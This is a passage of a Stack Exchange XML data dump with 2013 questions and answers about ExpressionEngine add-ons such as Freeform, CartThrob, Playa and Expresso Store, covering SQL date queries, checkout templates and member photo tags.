array($row['entry_id'],$row['form_field_1']));&#xA;}&#xA;&#xA;// Finish writing the file&#xA;fclose($handle);&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="541" LastActivityDate="2013-06-28T05:44:31.400" Title="SQL query getting entries from current day" Tags="|php|database|solspace-freeform|query|sql|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11516" PostTypeId="2" ParentId="11512" CreationDate="2013-06-26T20:26:55.300" Score="1" Body="&lt;p&gt;When you submit your embed code did you use the embed pop-up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see attached screenshot of the filmstrip icon. If you click that you paste your embed code there and all should be good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7WWdr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-06-26T20:26:55.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11517" PostTypeId="2" ParentId="11458" CreationDate="2013-06-26T20:31:43.930" Score="1" Body="&lt;p&gt;Is the &quot;audience&quot; field type one of those that the search parameter supports? From &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;the docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Only fields of the type “&lt;strong&gt;Text Input&lt;/strong&gt;”, “&lt;strong&gt;Textarea&lt;/strong&gt;”, and “&lt;strong&gt;Drop-down&#xA;  Lists&lt;/strong&gt;” are searched with this parameter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-06-26T20:31:43.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11518" PostTypeId="2" ParentId="7252" CreationDate="2013-06-26T21:20:50.147" Score="2" Body="&lt;p&gt;I was puzzled with question four as well and figured out another option on how to take orders from logged in members without showing a log in form during the checkout process (if they are already logged in).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my final checkout page I used the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the exp:store:checkout tag I used register_member=&quot;yes&quot; and used the following on the page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if logged_out}&#xA;&amp;lt;fieldset&amp;gt;&#xA;    &amp;lt;legend&amp;gt;Log In or Create an Account&amp;lt;/legend&amp;gt;            &#xA;    &amp;lt;p&amp;gt;This will allow you to track your order.&amp;lt;/p&amp;gt;                        &#xA;        &amp;lt;div class=&quot;control-group {if error:email}error{/if}&quot;&amp;gt;&#xA;           &amp;lt;label class=&quot;control-label&quot; for=&quot;email&quot;&amp;gt;Email&amp;lt;/label&amp;gt;&#xA;               &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                  &amp;lt;input type=&quot;email&quot; id=&quot;email&quot; name=&quot;email&quot; value=&quot;&quot; /&amp;gt;&#xA;                  {if error:email}&amp;lt;br /&amp;gt;{error:email}{/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:password}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;password&quot;&amp;gt;Password&amp;lt;/label&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                   &amp;lt;input type=&quot;password&quot; id=&quot;password&quot; name=&quot;password&quot; value=&quot;&quot; /&amp;gt;&#xA;                   {if error:password}&amp;lt;br /&amp;gt;{error:password}{/if}&#xA;                &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group {if error:password_confirm}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;control-label&quot; for=&quot;password_confirm&quot;&amp;gt;Confirm Password&amp;lt;/label&amp;gt;&#xA;                 &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;                    &amp;lt;input type=&quot;password&quot; id=&quot;password_confirm&quot; name=&quot;password_confirm&quot; value=&quot;&quot; /&amp;gt;&#xA;                    {if error:password_confirm}&amp;lt;br /&amp;gt;{error:password_confirm}{/if}&#xA;                 &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;{/if}&#xA;&#xA;{if logged_in}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;register_member&quot; value=&quot;0&quot; /&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="842" LastActivityDate="2013-06-26T21:20:50.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11519" PostTypeId="2" ParentId="11515" CreationDate="2013-06-26T21:33:19.130" Score="0" Body="&lt;p&gt;FROM_UNIX_TIME returns a date/time from a Unix timestamp (seconds from 1/1/1970).  So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select from_unixtime(12345);&#xA;+----------------------+&#xA;| from_unixtime(12345) |&#xA;+----------------------+&#xA;| 1970-01-01 04:25:45  |&#xA;+----------------------+&#xA;1 row in set (0.00 sec)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However CURDATE() returns only the date portion:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;select curdate();&#xA;&#xA;+------------+&#xA;| curdate()  |&#xA;+------------+&#xA;| 2013-06-26 |&#xA;+------------+&#xA;1 row in set (0.00 sec)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, they're not the same, so you have no matches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wrap your FROM_UNIXTIME in a DATE() function, you'll extract just the date portion, so try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM exp_freeform_form_entries_3 where DATE(FROM_UNIXTIME(entry_date))&#xA;= CURDATE() ORDER BY entry_id&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="900" LastEditorUserId="900" LastEditDate="2013-06-28T05:44:31.400" LastActivityDate="2013-06-28T05:44:31.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11521" PostTypeId="1" CreationDate="2013-06-27T04:51:42.083" Score="1" ViewCount="1315" Body="&lt;p&gt;I am using EE 2.6.1 and User 3.4.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been having issues with the Forgot Password form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The email being sent contains a link to reset the password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;urlofmywebsite//436184488/reset_password?&amp;amp;id=TuIkrfhW&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link gives me a 404. Even when I remove the //&#xA;Also ?&amp;amp; seems wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could tell me what is wrong with this link it would be great.&lt;/p&gt;&#xA;" OwnerUserId="1319" LastEditorUserId="16" LastEditDate="2014-04-08T01:42:53.603" LastActivityDate="2014-04-08T01:42:53.603" Title="Reset Password link is wrong" Tags="|members|email|solspace-user|profile-edit|forgot-password|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11522" PostTypeId="1" AcceptedAnswerId="11524" CreationDate="2013-06-27T06:46:32.840" Score="0" ViewCount="91" Body="&lt;p&gt;We're building a couple sites where our clients don't actually sell online but need everything else from an ecommerce tool. Users would add products to a cart, then submit the order to get an inquiry. We've been thinking on using carthrob so they can manage inventory and orders. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't find docs or examples of sites doing this. How can we checkout an inquiry order? And how would we deal with orders that have some products you can buy and others you need to inquiry for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can always do this with plain EE, but I still like using carthrob because it's important to create an order our clients could use. Should I just use SAEF instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking forward to hearing ideas!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Santiago &lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2013-06-28T03:04:12.560" Title="Carthrob as an inquiry system" Tags="|ecommerce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11523" PostTypeId="1" CreationDate="2013-06-27T09:39:49.883" Score="0" ViewCount="195" Body="&lt;p&gt;I'm getting the following PHP Warnings being generated when running a dev site on my local machine. I'm using MAMP (not the Pro version)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no add-ons installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only 'non-standard' thing is that I'm using CodeKit and the EE files are part of my project in CodeKit - could CodeKit have 'mangled' something (though I don't know why it would)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what this means and what is causing it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: file_get_contents(/Volumes/Websites/CLIENT/JOBNAME/dev/system/expressionengine/cache/ee_version/current_version): failed to open stream: Device not configured&#xA;Filename: helpers/file_helper.php&#xA;Line Number: 48&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Volumes/Websites/CLIENT/JOBNAME/dev/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 412&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Forget this. The problem seems to be with the Xserve from which the file is running apparently changing file permissions of its own accord. I got it working, then after a few minutes it stopped and all I was doing was splitting an HTML file and creating a few embeds! I've given up trying to work out why and simply moved the whole lot to a local drive where it seems much happier!&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2013-06-27T10:55:04.780" LastActivityDate="2013-06-27T10:55:04.780" Title="PHP Warning running EE2.6.1 on MAMP (not Pro)" Tags="|php-errors|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11524" PostTypeId="2" ParentId="11522" CreationDate="2013-06-27T10:56:30.223" Score="1" Body="&lt;p&gt;You don't need CartThrob to do this. Try using something like Remember Me (a really nice free add-on) for creating &quot;enquiry lists&quot; and then Freeform or similar to do the &quot;checkout&quot; part and send an enquiry email to the site owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess it ultimately rests on what you mean by &quot;an enquiry order&quot;. If you use Freeform then each enquiry becomes an entry within Freeform and you can set a status on it to show whether it has been actioned or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, as you say, you could use SAEF - which might actually be a much neater option come to think of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said that your &quot;clients don't actually sell online&quot; and also ask how you would  &quot;deal with orders that have some products you can buy and others you need to inquiry for?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So do you need an ecommerce solution - i.e. so people can purchase items, or simply an enquiry system that lets your client mark enquiries with various statuses?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-06-27T10:56:30.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11525" PostTypeId="1" CreationDate="2013-06-25T11:32:01.780" Score="1" ViewCount="100" Body="&lt;p&gt;I have a process in my checkout whereby orders with a value over £750 get 5% discount applied. To do this I have a hidden promo_code field which has a value of 'bulkorder' if {order_subtotal_val} is &gt; £750. This works fine until the customer amends the quantity in the cart to bring the subtotal below £750.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some script on the submit action (update cart totals) of the form to remove the promo_code, which works fine -  however on refresh the form has a blank promo_code but the {order_discount} applies the removed promo code anyway. If I click the submit again the order_discount refreshes to 0 as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar thing happens if I the increase the total above £750 - submitting the form adds the promo_code to the field but until I submit a 2nd time, the {order_discount} remains at 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1517" OwnerDisplayName="Martyn James" LastActivityDate="2013-09-18T13:45:30.000" Title="Order discount not calculating on first submit" Tags="|expresso-store|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11526" PostTypeId="2" ParentId="11492" CreationDate="2013-06-27T15:15:07.490" Score="1" Body="&lt;p&gt;Assets 2.1.4 will contain the fix for this and should be available next week (3rd July ish).&#xA;Andris (P&amp;amp;T) sent me some code to change and test and it's working fine.&#xA;If you need the fix urgently ask me and I can pass on the instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the issue was also how to test if no results in the child, and the code for that is below in case anyone else finds it useful.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{relationship_field:assets_field:total_files}&quot;}&#xA;&amp;lt;p&amp;gt;Do this&amp;lt;/p&amp;gt;&#xA;{if:else}&#xA;&amp;lt;p&amp;gt;Do something else&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="483" LastActivityDate="2013-06-27T15:15:07.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11527" PostTypeId="2" ParentId="11257" CreationDate="2013-06-27T15:59:39.283" Score="0" Body="&lt;p&gt;In case you haven't seen this has just been released:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.devdemon.com/entry_mapper/&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/entry_mapper/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just started using it on a site right now and is so far working great.&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2013-06-27T15:59:39.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11529" PostTypeId="2" ParentId="11508" CreationDate="2013-06-27T16:41:31.377" Score="1" Body="&lt;p&gt;Okay, I kind of found a solution. It looks like EE doesn't automatically turn URLs into links if they're surrounded by quotes. So I just pass 'www.test.com' instead of www.test.com in my link field and omit the quotes in the template.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-06-27T16:41:31.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11530" PostTypeId="1" CreationDate="2013-06-27T17:14:23.713" Score="1" ViewCount="81" Body="&lt;p&gt;I'm still quite new to ExpressionEngine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Been messing around with using JohnDWells' Minimee extention to serve minified .css and .js files from cloudfront rather than the site itself (Base URL) using cloudfronts custom origin feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems to work quite well. Expect Minimee is not detecting changes made to .css and .js files in the Base Path, and doesn't produce an updated combined .css or .js file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has andbody else tried this method (I searched, but didn't find anything specific)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any sugesstions on what I may (surely) be missing?&lt;/p&gt;&#xA;" OwnerUserId="1523" LastActivityDate="2014-01-30T16:16:41.780" Title="Minimee 2.18 with Cloudfront" Tags="|extension|caching|cloudfiles|aws|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11531" PostTypeId="1" CreationDate="2013-06-27T17:59:41.190" Score="1" ViewCount="164" Body="&lt;p&gt;I'm looking to add the {order_status_message} when a customer views orders in their account. I see that you can use {order_status_message} in an email but I'm having issues having it appear after an item has been shipped and the {order_status_message} has been used. Here's the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders&#xA;                    order_hash=&quot;{segment_3}&quot;&#xA;                    member_id=&quot;CURRENT_USER&quot;        &#xA;            }&#xA;&#xA;{if no_orders}&#xA;    {redirect=&quot;/account/login&quot;}&#xA;{/if}&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;&#xA;&#xA;        {order_status_message}&#xA;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;legend&amp;gt;Summary&amp;lt;/legend&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;b&amp;gt;Order ID:&amp;lt;/b&amp;gt; {order_id}&amp;lt;br /&amp;gt;&#xA;                &amp;lt;b&amp;gt;Date:&amp;lt;/b&amp;gt; {order_date format=&quot;%j %M %Y&quot;}&amp;lt;br /&amp;gt;&#xA;                &amp;lt;b&amp;gt;Status:&amp;lt;/b&amp;gt; {order_status}&amp;lt;br /&amp;gt;&#xA;                &amp;lt;b&amp;gt;Total:&amp;lt;/b&amp;gt; {order_total}&amp;lt;br /&amp;gt;&#xA;                &amp;lt;b&amp;gt;Paid:&amp;lt;/b&amp;gt; {if is_order_paid}Yes{if:else}No{/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;legend&amp;gt;Billing Details&amp;lt;/legend&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;{billing_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div&amp;gt;{billing_address1}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div&amp;gt;{billing_address2}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div&amp;gt;{billing_address3}, {billing_region_name}, {billing_postcode}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div&amp;gt;{billing_country_name}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div&amp;gt;{billing_phone}&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div&amp;gt;{order_email}&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;span4&quot;&amp;gt;&#xA;        &amp;lt;fieldset&amp;gt;&#xA;            &amp;lt;legend&amp;gt;Shipping Details&amp;lt;/legend&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                {if shipping_same_as_billing}&#xA;                    Same as Billing Details&#xA;                {if:else}&#xA;                    &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;{shipping_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div&amp;gt;{shipping_address1}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div&amp;gt;{shipping_address2}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div&amp;gt;{shipping_address3} {shipping_postcode}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div&amp;gt;{shipping_region_name}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div&amp;gt;{shipping_country_name}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div&amp;gt;{shipping_phone}&amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;table class=&quot;table&quot;&amp;gt;&#xA;    &amp;lt;thead&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th style=&quot;width:60%&quot;&amp;gt;Product&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;Price&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th style=&quot;text-align:center&quot;&amp;gt;Qty&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/thead&amp;gt;&#xA;    &amp;lt;tbody&amp;gt;&#xA;        {items}&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{path='store_example/product'}/{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&amp;lt;small&amp;gt;&#xA;                        &amp;lt;b&amp;gt;SKU:&amp;lt;/b&amp;gt; {sku}&amp;lt;br /&amp;gt;&#xA;                        {modifiers}&#xA;                            &amp;lt;b&amp;gt;{modifier_name}&amp;lt;/b&amp;gt;: {modifier_value} {if price_mod_val}({price_mod}){/if}&amp;lt;br /&amp;gt;&#xA;                        {/modifiers}&#xA;                    &amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;&#xA;                &amp;lt;/td&amp;gt;&#xA;                &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{price}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td style=&quot;text-align:center&quot;&amp;gt;{item_qty}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{item_subtotal}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        {/items}&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th colspan=&quot;3&quot;&amp;gt;Subtotal&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_subtotal}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        {if order_shipping_val}&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td colspan=&quot;3&quot;&amp;gt;Shipping&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_shipping}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        {/if}&#xA;        {if order_tax_val}&#xA;            &amp;lt;tr&amp;gt;&#xA;                &amp;lt;td colspan=&quot;3&quot;&amp;gt;{tax_name} ({tax_percent}%)&amp;lt;/td&amp;gt;&#xA;                &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_tax}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;/tr&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th colspan=&quot;3&quot;&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_total}&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/tbody&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;{/exp:store:orders} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="842" LastActivityDate="2013-11-01T22:50:50.917" Title="Providing Tracking Number in Account Order Page" Tags="|expresso-store|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11532" PostTypeId="2" ParentId="11469" CreationDate="2013-06-27T19:40:30.777" Score="1" Body="&lt;p&gt;Just to point others in the right direction, I answers this question on Devotee. &lt;a href=&quot;http://devot-ee.com/add-ons/support/google-maps/viewthread/9952&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/google-maps/viewthread/9952&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Devotee:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I am away from my computer traveling to PeersConf this week. I will get back with in detail when I can but essentially you need to geocode two fields. 1) being the zip code 2) a hidden field with “, Germany” hardcoded. This will ensure all the geocoder requests are applicable to Germany.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="101" LastEditorUserId="101" LastEditDate="2013-06-28T05:02:22.423" LastActivityDate="2013-06-28T05:02:22.423" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11533" PostTypeId="1" AcceptedAnswerId="11534" CreationDate="2013-06-27T19:49:32.513" Score="1" ViewCount="99" Body="&lt;p&gt;When relating content from several channels in a Pixel and Tonic Playa-field, my client would like to see which channel the articles are from (they might have several articles with similar or same titles...).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no native settings for this, but I was wondering if any of you have dared &quot;hack&quot; Playa to display &quot;Entry Title (in channel name)&quot;?&lt;/p&gt;&#xA;" OwnerUserId="530" LastActivityDate="2013-06-27T20:28:23.050" Title="Show channel name in Playa-dropdown" Tags="|playa|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11534" PostTypeId="2" ParentId="11533" CreationDate="2013-06-27T20:28:23.050" Score="2" Body="&lt;p&gt;This might be a timely solution: &lt;a href=&quot;http://devot-ee.com/add-ons/playa-links&quot; rel=&quot;nofollow&quot;&gt;Playa Links&lt;/a&gt;. Here's a blog post with info and images: &lt;a href=&quot;http://fromtheoutfit.com/blog/playa-links-for-expressionengine&quot; rel=&quot;nofollow&quot;&gt;http://fromtheoutfit.com/blog/playa-links-for-expressionengine&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-27T20:28:23.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11535" PostTypeId="1" AcceptedAnswerId="11536" CreationDate="2013-06-28T01:11:26.617" Score="0" ViewCount="34" Body="&lt;p&gt;I'm developing a membership website wherein members should be able to email each other. I do not plan to expose EE's admin to the members. Instead, they will be using a custom built &quot;profile manager.&quot; In this profile manager, is there a way I can tap into EE's email system so that I can let my members email each other?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-06-28T02:55:54.557" Title="Member Email System" Tags="|members|email|member-management|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11536" PostTypeId="2" ParentId="11535" CreationDate="2013-06-28T02:55:54.557" Score="1" Body="&lt;p&gt;For this purpose, you can use Messaging module (&lt;a href=&quot;http://devot-ee.com/add-ons/messaging&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/messaging&lt;/a&gt;) which works great.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-28T02:55:54.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11537" PostTypeId="2" ParentId="11522" CreationDate="2013-06-28T03:04:12.560" Score="2" Body="&lt;p&gt;As Foamcow suggested to use &quot;Remember Me&quot; addon, yes it can work for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think, you can achieve all those with CartThrob as CartThrob is already installed at your EE setup. There wouldn't be any payment system so you should use Offline Payment option with some more settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, make the checkout process as inquiry for orders. Also, you would like to have such a feature so that admin can see the items for which user inquired, and this can be done easily with the approach.&#xA;At CT checkout page, you can have a message field also for the user's message.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-28T03:04:12.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11538" PostTypeId="1" CreationDate="2013-06-28T04:07:03.693" Score="3" ViewCount="514" Body="&lt;p&gt;I have a page where I am displaying all the information from a channel entry along with some information from the playa parent field. But I have not been able to get to display the categories associated with the parent. Is it possible to do this? My code is here below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:playa:parents channel=&quot;book&quot; disable=&quot;&quot;}&#xA;  {title}&#xA;  &lt;p&gt;{short_description}&lt;/p&gt;&#xA;  {categories show_group=&quot;9&quot;}&#xA;    {category_name}&#xA;  {/categories}&#xA;  MORE DETAILS&#xA;{/exp:playa:parents}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a similar problem with exp:playa:children before and I sorted that by adding the disable=&quot;members&quot; parameter. Anyone know how I can get this to work?&lt;/p&gt;&#xA;" OwnerUserId="1713" LastActivityDate="2013-06-28T15:14:57.750" Title="Playa parents cannot display categories" Tags="|playa|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11539" PostTypeId="1" AcceptedAnswerId="11540" CreationDate="2013-06-28T05:55:22.280" Score="2" ViewCount="539" Body="&lt;p&gt;I have a template for logged-in users where there's a small sidebar in which I want to display the member's photo.  In the EE documentation, it says to to use the {photo_url} variable, along with {photo_height} and {photo_width}.  Unfortunately, when I put those into my template, EE doesn't even render them.  Am I missing a {exp:} wrapper tag?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:member}&#xA; {if photo}&#xA;  &amp;lt;div style=&quot;background:url({photo_url}); width:141px; height:156px&quot; &amp;gt;&amp;lt;/div&amp;gt;&#xA; {if:else}&#xA;  &amp;lt;div style=&quot;background:url('/images/img1.jpg'); width:141px; height:156px&quot; &amp;gt;&amp;lt;/div&amp;gt;&#xA; {/if}&#xA;{/exp:member}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As it is now, the entire block seems to be erroring out and displaying nothing, however if I remove the &lt;code&gt;{exp:member}&lt;/code&gt; tags, it always evals to false.  I know I have a photo 